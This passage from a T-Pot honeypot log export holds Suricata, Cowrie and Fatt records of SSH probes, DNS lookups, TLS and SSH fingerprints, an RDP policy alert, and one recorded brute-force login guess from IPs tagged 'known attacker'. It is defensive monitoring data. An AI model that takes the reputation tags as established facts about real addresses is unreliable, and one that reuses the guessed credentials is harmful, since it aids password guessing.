"@version": "1", "timestamp": "2021-09-20T11:37:14.357300Z", "@timestamp": "2021-09-20T11:37:14.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30625	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:36:58.996145+03	2021-09-20 14:45:03.413142+03	{"_id": "4wb-AnwBvYTbRNuEtz1c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 218347318474224, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51921, "dest_port": 22, "timestamp": "2021-09-20T11:36:58.996145Z", "@timestamp": "2021-09-20T11:36:58.996Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30626	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:37:00.518662+03	2021-09-20 14:45:03.415141+03	{"_id": "5Ab-AnwBvYTbRNuEuz1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49774, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 975023919393286, "@version": "1", "in_iface": "enp5s0", "src_port": 53802, "dest_port": 53, "timestamp": "2021-09-20T11:37:00.518662Z", "@timestamp": "2021-09-20T11:37:00.518Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30627	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:37:00.520462+03	2021-09-20 14:45:03.416141+03	{"_id": "5Qb-AnwBvYTbRNuEuz1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49774, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 426, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 975023919393286, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53802, "timestamp": "2021-09-20T11:37:00.520462Z", "@timestamp": "2021-09-20T11:37:00.520Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30628	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:37:00.828465+03	2021-09-20 14:45:03.417141+03	{"_id": "5gb-AnwBvYTbRNuEuz1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 15948, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 595960843248689, "@version": "1", "in_iface": "enp5s0", "src_port": 60112, "dest_port": 53, "timestamp": "2021-09-20T11:37:00.828465Z", "@timestamp": "2021-09-20T11:37:00.828Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30629	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:37:00.830068+03	2021-09-20 14:45:03.418141+03	{"_id": "5wb-AnwBvYTbRNuEuz1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 15948, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 426, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 595960843248689, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60112, "timestamp": "2021-09-20T11:37:00.830068Z", "@timestamp": "2021-09-20T11:37:00.830Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30630	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:00.573127+03	2021-09-20 14:45:03.420141+03	{"_id": "6Qb-AnwBvYTbRNuEvD1V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35436, "dest_port": 443, "timestamp": "2021-09-20T11:37:00.573127", "@timestamp": "2021-09-20T11:37:00.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30631	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:04.413757+03	2021-09-20 14:45:03.421141+03	{"_id": "_Ab-AnwBvYTbRNuEyT0-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:48209 (192.168.176.2:22) [session: c06a17978608]", "session": "c06a17978608", "@version": "1", "protocol": "ssh", "src_port": 48209, "dest_port": 22, "timestamp": "2021-09-20T11:37:04.413757Z", "@timestamp": "2021-09-20T11:37:04.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30632	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:37:09.23417+03	2021-09-20 14:45:03.422141+03	{"_id": "IAb-AnwBvYTbRNuE3j5z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 725039643375903, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36854, "dest_port": 22, "timestamp": "2021-09-20T11:37:09.234170Z", "@timestamp": "2021-09-20T11:37:09.234Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30633	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:37:10.447219+03	2021-09-20 14:45:03.424171+03	{"_id": "Iwb-AnwBvYTbRNuE4D60", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [alysia/alysia] failed", "session": "cc220a589856", "@version": "1", "password": "alysia", "username": "alysia", "timestamp": "2021-09-20T11:37:10.447219Z", "@timestamp": "2021-09-20T11:37:10.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30634	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:37:11.730613+03	2021-09-20 14:45:03.425145+03	{"_id": "JQb-AnwBvYTbRNuE6D6F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "cc220a589856", "@version": "1", "duration": 2.7773680686950684, "timestamp": "2021-09-20T11:37:11.730613Z", "@timestamp": "2021-09-20T11:37:11.730Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30635	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:12.780355+03	2021-09-20 14:45:03.426173+03	{"_id": "Jgb-AnwBvYTbRNuE6z48", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48416, "timestamp": "2021-09-20T11:37:12.780355", "@timestamp": "2021-09-20T11:37:12.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30767	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:38:21.240018+03	2021-09-20 14:45:03.601142+03	{"_id": "Cwb_AnwBvYTbRNuE9j8y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "42300ea02175", "@version": "1", "duration": 1.6331064701080322, "timestamp": "2021-09-20T11:38:21.240018Z", "@timestamp": "2021-09-20T11:38:21.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30636	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:37:00.922945+03	2021-09-20 14:45:03.428171+03	{"_id": "6Ab-AnwBvYTbRNuEvD1V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35438, "timestamp": "2021-09-20T11:37:00.922945", "@timestamp": "2021-09-20T11:37:00.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30637	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:00.880349+03	2021-09-20 14:45:03.429175+03	{"_id": "6wb-AnwBvYTbRNuEvD1V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35438, "dest_port": 443, "timestamp": "2021-09-20T11:37:00.880349", "@timestamp": "2021-09-20T11:37:00.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30638	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:37:04.700554+03	2021-09-20 14:45:03.430172+03	{"_id": "_wb-AnwBvYTbRNuEyz33", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 48209, "dest_port": 22, "timestamp": "2021-09-20T11:37:04.700554", "@timestamp": "2021-09-20T11:37:04.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30639	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:37:00.615162+03	2021-09-20 14:45:03.432171+03	{"_id": "6gb-AnwBvYTbRNuEvD1V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35436, "timestamp": "2021-09-20T11:37:00.615162", "@timestamp": "2021-09-20T11:37:00.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30640	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:04.416716+03	2021-09-20 14:45:03.43417+03	{"_id": "_Qb-AnwBvYTbRNuEyT0-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "c06a17978608", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:37:04.416716Z", "@timestamp": "2021-09-20T11:37:04.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30641	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:36:50.000385+03	2021-09-20 14:45:03.435173+03	{"_id": "xgb-AnwBvYTbRNuEpz28", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:49.254739+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 743855889965843, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 3004, "timestamp": "2021-09-20T11:36:50.000385Z", "@timestamp": "2021-09-20T11:36:50.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30642	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:36:56.917625+03	2021-09-20 14:45:03.437174+03	{"_id": "yAb-AnwBvYTbRNuErD2x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51392, "timestamp": "2021-09-20T11:36:56.917625", "@timestamp": "2021-09-20T11:36:56.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30643	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:36:49.48085+03	2021-09-20 14:45:03.438171+03	{"_id": "vwb-AnwBvYTbRNuEkT1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 